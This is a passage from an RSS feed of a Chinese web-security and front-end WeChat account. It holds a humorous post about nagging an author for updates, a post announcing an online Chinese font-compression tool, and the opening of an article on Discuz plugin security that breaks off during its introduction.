!important;"><p>第二次催更：虚张声势</p></section></span></span></section><p><br/></p><p>我：刚才我看留言，好多人在催更啊~<br/></p><p>他：哦，是该更了~</p><p>我：有人说这都好久了啊，好期待看你最近研究的技术啊~</p><p>他：最近是有在研究~</p><p>我：这个人说他等了一周了啊，等女票都没这么等过啊~（这是我编的）</p><p>他：啊？真的？</p><p>我：这个人说他每天早晨第一件事就是打开公众号看一眼啊~~</p><p>他：你再编，搞安全的没有早晨，也没女票~</p><p>我：……</p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="180" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=bad4e00a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxM6UXgFsiaLPyrMrcKHM6jZmsgWZ8KBibOudD7jC3ph64Y7E2jfdl7Wlg%2F0%3Fwx_fmt%3Djpeg"/></p><section label="Copyright © 2015 playhudong All Rights Reserved." style="border-width: initial; border-style: none; border-color: initial; margin: 50px auto 16px; text-align: center;" donone="shifuMouseDownStyle(&#39;shifu_t_032&#39;)"><span style="
border-top: solid 1px #898989;
display: block;"><span style="
margin-top: -16px;
text-align: left;
display: block;"><span style="border-width: 1px; border-style: solid; border-color: rgb(137, 137, 137); height: 30px; width: 30px; border-radius: 50%; background-color: rgb(255, 255, 255); margin-left: 50px; display: inline-block;"><span style="margin-top: -16px; margin-left: -1px; border-width: 15px; border-style: solid; border-color: rgb(255, 255, 255); display: block;"></span><section class="color" style="background-color: rgb(235, 104, 118); height: 24px; width: 24px; line-height: 24px; border-radius: 50%; margin-right: auto; margin-left: auto; text-align: center; margin-top: -14px; color: rgb(255, 255, 255);"><p>三</p></section></span><section style="display: inline-block; padding-right: 8px; padding-left: 8px; margin-left: 50px; height: 30px; line-height: 30px; vertical-align: bottom; font-size: 18px; background-color: rgb(255, 255, 255); max-width: 76% !important;"><p>第三次催更：抛砖引玉</p></section></span></span></section><p><br/></p><p>我：我也想了解了解安全，不如你教我吧~</p><p>他：你太笨，学不会~</p><p>我：不不，我和大家一起学，你可以发一些简单点的安全基础文章~但是有点深度~这样大家都能懂了~你看，我总结了一篇关于CSRF的，你再深挖一下呗~</p><p>他：基础文章？为什么不去看书……看视频……</p><p>我：……</p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="415" data-ratio="0.6385542168674698" src="https://wechat2rss.xlab.app/img-proxy/?k=48bd1401&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxuuMicwffmj0o6eVV3Sxct1z1Z6dibhBVGs36s8ibtQzo7ibpeNb5xibRrNw%2F0%3Fwx_fmt%3Djpeg"/></p><section label="Copyright © 2015 playhudong All Rights Reserved." style="border-width: initial; border-style: none; border-color: initial; margin: 50px auto 16px; text-align: center;" donone="shifuMouseDownStyle(&#39;shifu_t_032&#39;)"><span style="
border-top: solid 1px #898989;
display: block;"><span style="
margin-top: -16px;
text-align: left;
display: block;"><span style="border-width: 1px; border-style: solid; border-color: rgb(137, 137, 137); height: 30px; width: 30px; border-radius: 50%; background-color: rgb(255, 255, 255); margin-left: 50px; display: inline-block;"><span style="margin-top: -16px; margin-left: -1px; border-width: 15px; border-style: solid; border-color: rgb(255, 255, 255); display: block;"></span><section class="color" style="background-color: rgb(235, 104, 118); height: 24px; width: 24px; line-height: 24px; border-radius: 50%; margin-right: auto; margin-left: auto; text-align: center; margin-top: -14px; color: rgb(255, 255, 255);"><p>四</p></section></span><section style="display: inline-block; padding-right: 8px; padding-left: 8px; margin-left: 50px; height: 30px; line-height: 30px; vertical-align: bottom; font-size: 18px; background-color: rgb(255, 255, 255); max-width: 76% !important;"><p>第四次催更：趁火打劫</p></section></span></span></section><p>（参加阿里先知大会回来）<br/></p><p>我：今天会上好多议题，看着好有深度好高端啊~</p><p>他：是啊，都是大佬~</p><p>我：咱们公众号要更新了~</p><p>他：一会儿我有CTF要打……</p><p>我：……</p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="440" data-ratio="0.5431818181818182" src="https://wechat2rss.xlab.app/img-proxy/?k=98b1426a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8Xxh9Q8CL2WyyLuia1FXCNicbicUlgQL7urVnCZoY3v8VLhra3QEhezVQVew%2F0%3Fwx_fmt%3Djpeg"/></p><p> </p><section label="Copyright © 2015 playhudong All Rights Reserved." style="border-width: initial; border-style: none; border-color: initial; margin: 50px auto 16px; text-align: center;" donone="shifuMouseDownStyle(&#39;shifu_t_032&#39;)"><span style="
border-top: solid 1px #898989;
display: block;"><span style="
margin-top: -16px;
text-align: left;
display: block;"><span style="border-width: 1px; border-style: solid; border-color: rgb(137, 137, 137); height: 30px; width: 30px; border-radius: 50%; background-color: rgb(255, 255, 255); margin-left: 50px; display: inline-block;"><span style="margin-top: -16px; margin-left: -1px; border-width: 15px; border-style: solid; border-color: rgb(255, 255, 255); display: block;"></span><section class="color" style="background-color: rgb(235, 104, 118); height: 24px; width: 24px; line-height: 24px; border-radius: 50%; margin-right: auto; margin-left: auto; text-align: center; margin-top: -14px; color: rgb(255, 255, 255);"><p>五</p></section></span><section style="display: inline-block; padding-right: 8px; padding-left: 8px; margin-left: 50px; height: 30px; line-height: 30px; vertical-align: bottom; font-size: 18px; background-color: rgb(255, 255, 255); max-width: 76% !important;"><p>第五次催更：反客为主</p></section></span></span></section><p><br/></p><p>我：你把最近挖洞经验分享一下吧~</p><pre accuse="aContent" class="best-text mb-10" style=" margin-top: 10px; margin-bottom: 10px; padding: 0px ; ; ; ; ; ; ; ; ; ; ; ; ; ; ">他：哦~<br/>（10分钟后……）<br/></pre><p style="white-space: normal;">我：你把最近挖洞经验分享一下吧~</p><pre accuse="aContent" class="best-text mb-10" style=" margin-top: 10px; margin-bottom: 10px; padding: 0px; background-color: rgb(255, 255, 255); font-size: 16px ; ; ; ; ; ; ; ; ; ; ; ; ">他：哦~<br/>(20分钟后……)<br/></pre><p style="white-space: normal;">我：你把最近挖洞经验分享一下吧~</p><pre accuse="aContent" class="best-text mb-10" style=" margin-top: 10px; margin-bottom: 10px; padding: 0px; background-color: rgb(255, 255, 255); font-size: 16px ; ; ; ; ; ; ; ; ; ; ; ; ">他：哦~<br/>（30分钟后……）<br/>我：你在写吗？<br/>他：没~在看技术文章~<br/>我：……</pre><pre accuse="aContent" class="best-text mb-10" style=" margin-top: 10px; margin-bottom: 10px; padding: 0px; background-color: rgb(255, 255, 255); font-size: 16px ; ; ; ; ; ; ; ; ; ; ; ; "><img data-s="300,640" data-type="jpeg" style="  ; ; ; ; ; ; " data-ratio="0.6431818181818182" data-w="440" src="https://wechat2rss.xlab.app/img-proxy/?k=6eff14ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxHg5erzibhZophCdWspvTd3RHtFEmmh65KQoC9QynicxAn9tymoz0VOKQ%2F0%3Fwx_fmt%3Djpeg"/></pre><p> </p><p>其实，小编也理解，他一直都很忙，忙着研究奇怪的东西，忙着写一些打算开源的工具，忙着参加一些会议~~同时也很想保证自己文章的质量和深度，这跟他有时候贪睡一点关系都没有。</p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="300" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=010e8747&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxheeiaR3ZyRsCkYQvuuClHa1ZVUzPE7ibIGfY324KS6re1pRN7Cw13PYQ%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p>催多了，小编也担心他会发脾气，可即使这样，小编也会一直催更下去的，催到海枯石烂，催到天地变色，催到怀疑人生~~</p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="416" style="" data-ratio="0.6466346153846154" src="https://wechat2rss.xlab.app/img-proxy/?k=7f41dd45&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9Baywn2l1U7vvGZz1WfFdjG8XxClzjVsgjlhibYfLFCNnSAgniclQl3FrCtPmNicqINZX3QnDzE7MepFtNw%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p><br/></p>



<p><a href="2247483773">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=09a0d15a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483773%26idx%3D2%26sn%3Df129445ae03be9bf8cb85d42493a91e7%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 27 Mar 2017 13:54:00 +0800</pubDate>
    </item>
    <item>
      <title>放大招了 | Everyfont--在线压缩中文字体</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483745&amp;idx=1&amp;sn=c42b82de56340454cd1e9b618fa4bd22</link>
      <description>可以在网页中优雅的引入各种好看的字体啦~</description>
      <content:encoded><![CDATA[<p>
<span>Jess_喵</span> <span>2017-02-27 12:23</span> <span style="display: inline-block;"></span>
</p>

<p>可以在网页中优雅的引入各种好看的字体啦~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=83aeefc7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyhHOq7nZhq1YC4ic6ZWu9r3PCrNRK9h77RVXJr0TcTAuD3gxiagicSvBh4JoPROakk3bDYmsYdZn66w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section label="Copyright © 2014 playhudong All Rights Reserved." donone="shifuMouseDownOther(&#39;shifu_o_015&#39;)" style="margin-top: 5px; padding: 10px; white-space: normal; border-width: initial; border-style: none; border-color: initial; background-image: none; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;"><section style="margin-top: -1px; min-height: 40px; visibility: visible; height: 40px; line-height: 40px; border-radius: 4px; text-align: center; box-shadow: rgb(190, 190, 190) 0px 3px 5px; background: rgb(238, 239, 239);"><span style="font-size: 14px; color: rgb(110, 109, 109);"><span style="margin-left: 35px; float: left; font-size: 24px;">↗</span>点击上方<span style="color: rgb(96, 127, 166);">“Web安全与前端”</span>关注我们</span></section><p><br/></p></section><p style="white-space: normal;"><span style="font-size: 16px;">字体是网页的灵魂之一，好看的字体总是更容易吸引用户。可是由于网页使用的字体需要受制于操作系统，如果用户的操作系统没有安装某个字体，网页则会退而求其次的使用系统自带的字体。</span></p><p style="white-space: normal;"><span style="font-size: 16px;"><br/></span></p><p style="white-space: normal;"><span style="font-size: 16px;">因此我们并不能随便使用一些好看的字体，只能选用一些安全字体。比如：Helvetica，Arial，宋体，微软雅黑，每次都会被设计妹子喷shi，如果能在网页上使用好看的字体就好了~~</span></p><p style="white-space: normal;"><span style="font-size: 16px;"><br/></span></p><p style="white-space: normal;"><span style="font-size: 16px;"></span></p><p style="white-space: normal;"><img data-type="gif" data-w="250" data-ratio="0.868" src="https://wechat2rss.xlab.app/img-proxy/?k=9c8b085e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdwibiblyyZXBia6f0uUJIbQX2FZlE7RiaqmHcIlNowWr3syomFGh9UO0qicw%2F0%3Fwx_fmt%3Dgif"/></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;"><span style="font-size: 16px;">可是引入字体对于英文来说，是合适的，因为字体文件本身不大。但是对于中文字体，一个字体文件就好几M，既耗费流量，又拖慢了加载速度，还会出现加载后字体突然变化的情况，简直不能忍，尤其是对于移动端来讲，非常不划算。</span></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">做为一个有追求的前端，我也想做出一个有<span style="font-size: 1em;">个性的网页啊，怎么能只用这一种字体呢？</span></p><p style="white-space: normal;"><span style="font-size: 1em;"><br/></span></p><p style="white-space: normal;"><span style="font-size: 1em;">于是，我们可以使用以下的方法，引入其他的字体。 </span></p><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownStyle(&#39;shifu_bus_001&#39;)" style="margin: 1em auto; white-space: normal; border-width: initial; border-color: initial; border-style: none; text-align: center;"><section style="padding: 1em 0.5em; font-size: 1em; text-align: left; line-height: 1.5;"><p><img data-s="300,640" data-type="jpeg" data-w="533" data-ratio="0.5215759849906192" src="https://wechat2rss.xlab.app/img-proxy/?k=ab524fa2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdChwib2WsegYia8PcbRy2JtaGJbptyqD591icYHwBTdMW3Az5ciccH83klw%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p></section></section><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownStyle(&#39;shifu_bus_001&#39;)" style="margin: 1em auto; white-space: normal; border-width: initial; border-color: initial; border-style: none; text-align: center;"><section class="color2" style="padding-bottom: 3px; overflow: hidden; text-align: left; border-bottom: 1px solid rgb(0, 0, 0);"><section class="color wihudong" style="padding-right: 16px; padding-left: 16px; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); min-width: 61px; text-align: center; height: 1.8em; vertical-align: bottom; font-size: 1.125em; line-height: 1.8em; display: inline-block;"><p>1</p></section><section class="color" style="margin-left: 0.25em; height: 2em; transform: skew(30deg); background-color: rgb(0, 0, 0); opacity: 0.5; width: 0.5em; vertical-align: bottom; display: inline-block;"></section><section class="color" style="margin-left: 0.25em; height: 2em; transform: skew(30deg); background-color: rgb(0, 0, 0); opacity: 0.3; width: 0.5em; vertical-align: bottom; display: inline-block;"></section><section style="padding-right: 0.5em; padding-left: 0.5em; font-size: 1.125em; height: 1.8em; line-height: 1.8em; vertical-align: bottom; display: inline-block;"><p>谷歌字体源</p></section></section><section style="padding: 1em 0.5em; font-size: 1em; text-align: left; line-height: 1.5;"><p>可以在<a href="https://fonts.google.com/网站上下选择字体，然后把提供的代码，引入网页中。" target="_blank">https://fonts.google.com/网站上下选择字体，然后把提供的代码，引入网页中。</a></p><p><br/></p><p><img data-s="300,640" data-type="png" data-w="1148" data-ratio="0.1794425087108014" src="https://wechat2rss.xlab.app/img-proxy/?k=6ffea1f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdpNXkOyWzCA3eTSyicicdnq5OpoKrET1ialjqibzhIWWeHZWbyRDSibUGrag%2F0%3Fwx_fmt%3Dpng"/><span style="font-size: 1em;">在网页中正常定义即可，如：font-family: &#39;Roboto&#39;, sans-serif;</span></p><p><br/></p><p>还可以把字体文件下载下来，放在服务器上引用。</p><p>不过，这些字体不包括中文。纯英文的网站可以考虑使用。中文则不会按照设定的字体显示。</p><p><br/></p></section></section><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownStyle(&#39;shifu_bus_001&#39;)" style="margin: 1em auto; white-space: normal; border-width: initial; border-color: initial; border-style: none; text-align: center;"><section class="color2" style="padding-bottom: 3px; overflow: hidden; text-align: left; border-bottom: 1px solid rgb(0, 0, 0);"><section class="color wihudong" style="padding-right: 16px; padding-left: 16px; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); min-width: 61px; text-align: center; height: 1.8em; vertical-align: bottom; font-size: 1.125em; line-height: 1.8em; display: inline-block;"><p>2</p></section><section class="color" style="margin-left: -0.25em; height: 2em; transform: skew(30deg); background-color: rgb(0, 0, 0); opacity: 0.8; width: 0.5em; vertical-align: bottom; display: inline-block;"><br/></section><section class="color" style="margin-left: 0.25em; height: 2em; transform: skew(30deg); background-color: rgb(0, 0, 0); opacity: 0.3; width: 0.5em; vertical-align: bottom; display: inline-block;"></section><section style="padding-right: 0.5em; padding-left: 0.5em; font-size: 1.125em; height: 1.8em; line-height: 1.8em; vertical-align: bottom; display: inline-block;"><p>使用切图片的方式</p></section></section><section style="padding: 1em 0.5em; font-size: 1em; text-align: left; line-height: 1.5;"><p>最简单的方式，把文字切成图片，这是最快、最直接的方式，但是图片在放大或者缩小后会模糊，字体不清晰。</p><p><br/></p><p><img data-s="300,640" data-type="jpeg" data-w="984" data-ratio="0.6290650406504065" src="https://wechat2rss.xlab.app/img-proxy/?k=30cf8288&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdQuGkyYiaD3wIr6O6LwFYrQRz7MUcPmnbu4UHzhaGe70kwJCiciaf38iatA%2F0%3Fwx_fmt%3Djpeg"/></p><p><br/></p></section></section><section label="Copyright © 2015 playhudong All Rights Reserved." donone="shifuMouseDownStyle(&#39;shifu_bus_001&#39;)" style="margin: 1em auto; white-space: normal; border-width: initial; border-color: initial; border-style: none; text-align: center;"><section class="color2" style="padding-bottom: 3px; overflow: hidden; text-align: left; border-bottom: 1px solid rgb(0, 0, 0);"><section class="color wihudong" style="padding-right: 16px; padding-left: 16px; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); min-width: 61px; text-align: center; height: 1.8em; vertical-align: bottom; font-size: 1.125em; line-height: 1.8em; display: inline-block;"><p>3</p></section><section class="color" style="margin-left: 0.25em; height: 2em; transform: skew(30deg); background-color: rgb(0, 0, 0); opacity: 0.5; width: 0.5em; vertical-align: bottom; display: inline-block;"></section><section class="color" style="margin-left: 0.25em; height: 2em; transform: skew(30deg); background-color: rgb(0, 0, 0); opacity: 0.3; width: 0.5em; vertical-align: bottom; display: inline-block;"></section><section style="padding-right: 0.5em; padding-left: 0.5em; font-size: 1.125em; height: 1.8em; line-height: 1.8em; vertical-align: bottom; display: inline-block;"><p>Every font在线中文字体压缩</p></section></section><section style="padding: 1em 0.5em; font-size: 1em; text-align: left; line-height: 1.5;"><p>直接将字体放在服务器上引用，但是一个中文字体要好几M，这样做并不合适。于是我们做了一个在线压缩字体的工具--Every font。</p><p><br/></p><p>只需要上传html网页和字体的zip压缩包，工具便会将ttf中的字体精减，只剩下html页面中包含的字体。这样一个网页下来，字体文件就几K，一张图片也要好几十K呢，还是非常合适的。</p><p><br/></p><p>上传的zip文件必须包括ttf格式的字体，而其他的字体以下面的例子写在html中，everyfont在线工具可以直接生成其他几种格式的文件。</p><p><span style="font-size: 14px;"><br/></span></p><p><span style="font-size: 14px;">body{</span><br/></p><p><span style="font-size: 14px;">font-family: &#39;FZLTXHJW&#39;;</span></p><p><span style="font-size: 14px;">src: url(&#39;./FZLTXHJW.ttf&#39;) format(&#39;truetype&#39;), url(&#39;./FZLTXHJW.svg&#39;) format(&#39;svg&#39;),url(&#39;./FZLTXHJW.woff&#39;) format(&#39;woff&#39;);/*路径要正确*/</span></p><p><span style="font-size: 14px;">font-weight: normal;</span></p><p><span style="font-size: 14px;">font-style: normal;</span></p><p><span style="font-size: 14px;">}</span></p></section></section><p style="white-space: normal;">这样我们的网页就可以使用任意的字体了,不用担心中文字体过大影响加载了，不过，如果后期修改文案，尽量要是网页中出现过的字，如果修改的文字有新的字 ，则还需要在用原来完整的ttf字体文件，重新上传一遍。</p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">使用中不需要安装任何的工具~~是不是超想试试，点击原文就可以感受啦。</p><p style="white-space: normal;">要在PC端哦~</p><p style="white-space: normal;"><br/></p><p style="white-space: normal;"><span style="font-size: 14px; color: rgb(136, 136, 136);">tips：还在测试中，请大家热情的提意见哦~</span></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;">工具地址：<a href="http://everyfont.enjoyfe.com" target="_blank">http://everyfont.enjoyfe.com</a></p><p style="white-space: normal;"><br/></p><p style="white-space: normal;"><br/></p><section label="Copyright Reserved by PLAYHUDONG." class="wihudong" donone="shifuMouseDownCard(&#39;shifu_c_034&#39;)" style="margin-top: 1em; margin-bottom: 1em; padding: 16px; font-size: 16px; white-space: normal; line-height: 25px; border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); color: rgb(127, 127, 127); background-color: rgb(254, 255, 225); border-radius: 4px; box-shadow: rgb(153, 153, 153) 0px 2px 8px;"><p class="wihudong">注：本文原创，转载请通过本公众号联系作者。</p></section><p style="white-space: normal;"><br/></p><p class="shifubrush" style="white-space: normal;"><br/></p><p style="white-space: normal;">                                                                 </p><p style="white-space: normal;"><br/></p><section label="Copyright © 2016 playhudong All Rights Reserved." donone="shifuMouseDownPayStyle(&#39;shifu_sig_022&#39;)" style="margin-right: auto; margin-left: auto; white-space: normal; border-width: initial; border-style: none; border-color: initial; width: 20em;"><section class="xhr" style="padding: 0.8em 0em; width: 320px; background: rgb(240, 240, 240); overflow: hidden;"><section style="margin-right: auto; margin-left: auto; width: 256px;"><section style="padding-bottom: 0.5em; width: 256px; text-align: center; border-bottom: 1px solid rgb(221, 221, 221); font-size: 1.2em;"><p>安全&amp;前端</p></section><section style="padding-top: 0.5em; width: 256px; text-align: center;"><section style="margin-right: 1em; width: 102.391px; display: inline-block; vertical-align: top;"><img style="width: 102.391px;" title="http://7xo6kd.com1.z0.glb.clouddn.com/upload-ueditor-image-20170114-1484360660123013420.jpg" data-type="jpeg" data-ratio="1" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=1ff8e300&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BaywYFn3ghvGRhheiaUZHtvhjdt4npURMpgHusiaNaKz0ckNRKYb0zBxtlZ2OHQzVQ5vtrH4vycz2dn6w%2F0%3Fwx_fmt%3Djpeg"/></section><section style="padding: 1em 0em 3em; width: 102.391px; display: inline-block; vertical-align: top; background-image: url(&#34;http://mmbiz.qpic.cn/mmbiz_png/zoq1kN9BaywYFn3ghvGRhheiaUZHtvhjda881dIetibclJpFgiaW75eibKGgW8bcIZPeIruFia1HdGSRP0RE1D0Bu6Q/0?wx_fmt=png&#34;); background-repeat: no-repeat; background-size: 100%; color: rgb(114, 114, 114); font-size: 1em; line-height: 1.4em;"><p>长按二维码<br/>关注我们</p></section></section></section></section></section><p style="white-space: normal;"><br/></p><p style="white-space: normal;"><br/></p><p class="shifubrush" style="white-space: normal;"><br/></p><p><br/></p>



<p><a href="http://everyfont.enjoyfe.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5ffd0d4a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIxMDA4NzAyMQ%3D%3D%26mid%3D2247483745%26idx%3D1%26sn%3Dc42b82de56340454cd1e9b618fa4bd22%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 27 Feb 2017 12:23:00 +0800</pubDate>
    </item>
    <item>
      <title>浅谈Discuz插件代码安全（内附0day）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIxMDA4NzAyMQ==&amp;mid=2247483741&amp;idx=1&amp;sn=de7e46e5c098459ac6bb5acc393bb651</link>
      <description>​千里之堤，溃于蚁穴。插件的安全也不能忽视，掏出0day就是一把梭。</description>
      <content:encoded><![CDATA[<p>
<span>王松_Striker</span> <span>2017-02-20 01:58</span> <span style="display: inline-block;"></span>
</p>

<p>​千里之堤，溃于蚁穴。插件的安全也不能忽视，掏出0day就是一把梭。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=eaa4b5e7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fzoq1kN9BayyuLPp40YzQBo3icTNDGccACZ5ax0Mj6sq7IRExQsLkbAUpWQiasbMetiaicty4hdfqOcnofQqrFibqNPw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section label="Copyright © 2014 playhudong All Rights Reserved." donone="shifuMouseDownOther(&#39;shifu_o_015&#39;)" style="margin-top: 5px; padding: 10px; white-space: normal; border-width: initial; border-style: none; border-color: initial; background-image: none; background-position: initial; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial;"><section style="margin-top: -1px; min-height: 40px; visibility: visible; height: 40px; line-height: 40px; border-radius: 4px; text-align: center; box-shadow: rgb(190, 190, 190) 0px 3px 5px; background: rgb(238, 239, 239);"><span style="font-size: 14px; color: rgb(110, 109, 109);"><span style="margin-left: 35px; float: left; font-size: 24px;">↗</span>点击上方<span style="color: rgb(96, 127, 166);">“Web安全与前端”</span>关注我们</span></section><p><br/></p></section><p style="margin-bottom: 16px; white-space: normal; border-width: initial; border-style: none; border-color: initial;"><strong><span style="font-size: 24px; color: rgb(51, 51, 51);">Discuz</span></strong><strong><span style="font-size: 24px; color: rgb(51, 51, 51);">介</span></strong><strong><span style="font-size: 24px; font-family: SimSun; color: rgb(51, 51, 51);">绍</span></strong><br/></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">Crossday Discuz! Board</span><span style="color: rgb(51, 51, 51);">（简称</span><span style="color: rgb(51, 51, 51);"> Discuz!</span><span style="color: rgb(51, 51, 51);">）是北京康盛新创科技有限责任公司推出的一套通用的社区论坛软件系统。自</span><span style="color: rgb(51, 51, 51);">2001</span><span style="color: rgb(51, 51, 51);">年</span><span style="color: rgb(51, 51, 51);">6</span><span style="color: rgb(51, 51, 51);">月面世以来，</span><span style="color: rgb(51, 51, 51);">Discuz!</span><span style="color: rgb(51, 51, 51);">已拥有</span><span style="color: rgb(51, 51, 51);">15</span><span style="color: rgb(51, 51, 51);">年以上的应用历史和</span><span style="color: rgb(51, 51, 51);">200</span><span style="color: rgb(51, 51, 51);">多万网站用户案例，是全球成熟度最高、覆盖率最大的论坛软件系统之一。目前最新版本</span><span style="color: rgb(51, 51, 51);">Discuz! X3.2</span><span style="color: rgb(51, 51, 51);">正式版于</span><span style="color: rgb(51, 51, 51);">2015</span><span style="color: rgb(51, 51, 51);">年</span><span style="color: rgb(51, 51, 51);">6</span><span style="color: rgb(51, 51, 51);">月</span><span style="color: rgb(51, 51, 51);">9</span><span style="color: rgb(51, 51, 51);">日发布，首次引入应用中心的开发模式。</span><span style="color: rgb(51, 51, 51);">2010</span><span style="color: rgb(51, 51, 51);">年</span><span style="color: rgb(51, 51, 51);">8</span><span style="color: rgb(51, 51, 51);">月</span><span style="color: rgb(51, 51, 51);">23</span><span style="color: rgb(51, 51, 51);">日，康盛创想与腾讯达成收购协议，成为腾讯的全资子公司。（摘自百度百科）</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">Discuz</span><span style="color: rgb(51, 51, 51);">代码非常灵活，支持自定义模板和插件，这让</span><span style="color: rgb(51, 51, 51);">Discuz</span><span style="color: rgb(51, 51, 51);">拥有了极强的</span><span style="color: rgb(51, 51, 51);">DIY</span><span style="color: rgb(51, 51, 51);">性，再加上操作简单快捷，入门门槛低，使得这款开源软件在中国发展异常迅猛，成为市面上主流的论坛程序。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">本文主要介绍</span><span style="color: rgb(51, 51, 51);">Discuz</span><span style="color: rgb(51, 51, 51);">插件相关的安全问题。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);"><br/></span></p><p style="margin-top: 16px; margin-bottom: 16px; white-space: normal; background: white;"><strong><span style="font-size: 24px; color: rgb(51, 51, 51);">Discuz</span></strong><strong><span style="font-size: 24px; color: rgb(51, 51, 51);">插件介</span></strong><strong><span style="font-size: 24px; font-family: SimSun; color: rgb(51, 51, 51);">绍</span></strong></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(51, 51, 51);">Discuz</span><span style="color: rgb(51, 51, 51);">插件主要分为</span><span style="color: rgb(51, 51, 51);">“</span><span style="color: rgb(51, 51, 51);">程序链接</span><span style="color: rgb(51, 51, 51);">”</span><span style="color: rgb(51, 51, 51);">、</span><span style="color: rgb(51, 51, 51);">“</span><span style="color: rgb(51, 51, 51);">扩展项目</span><span style="color: rgb(51, 51, 51);">”</span><span style="color: rgb(51, 51, 51);">、</span><span style="color: rgb(51, 51, 51);">“</span><span style="color: rgb(51, 51, 51);">程序脚本</span><span style="color: rgb(51, 51, 51);">”</span><span style="color: rgb(51, 51, 51);">三类。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><strong><span style="color: rgb(51, 51, 51);">程序链接：</span></strong><span style="color: rgb(51, 51, 51);">允许插件在</span><span style="color: rgb(51, 51, 51);">Discuz</span><span style="color: rgb(51, 51, 51);">中某些特定导航位置加入菜单项，可自主指派菜单链接的</span><span style="color: rgb(51, 51, 51);"> URL</span><span style="color: rgb(51, 51, 51);">，也可以调用插件的一个模块，模块文件名指派为</span><span style="color: rgb(51, 51, 51);"> source/plugin/</span><span style="color: rgb(51, 51, 51);">插件目录</span><span style="color: rgb(51, 51, 51);">/</span><span style="color: rgb(51, 51, 51);">插件模块名</span><span style="color: rgb(51, 51, 51);">.inc.php”</span><span style="color: rgb(51, 51, 51);">。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><span style="color: rgb(136, 136, 136); font-size: 14px;">注意：由于引用外部程序，因此即便设置了模块的使用等级，您的程序仍需进行判断使用等级是否合法。</span></p><p style="margin-bottom: 16px; white-space: normal; background: white;"><strong><span style="color: rgb(51, 51, 51);">扩展项目：</span></strong><span style="color: rgb(51, 51, 51);">允许插件在更多的位置增加菜单项</span><span style="color: rgb(51, 51, 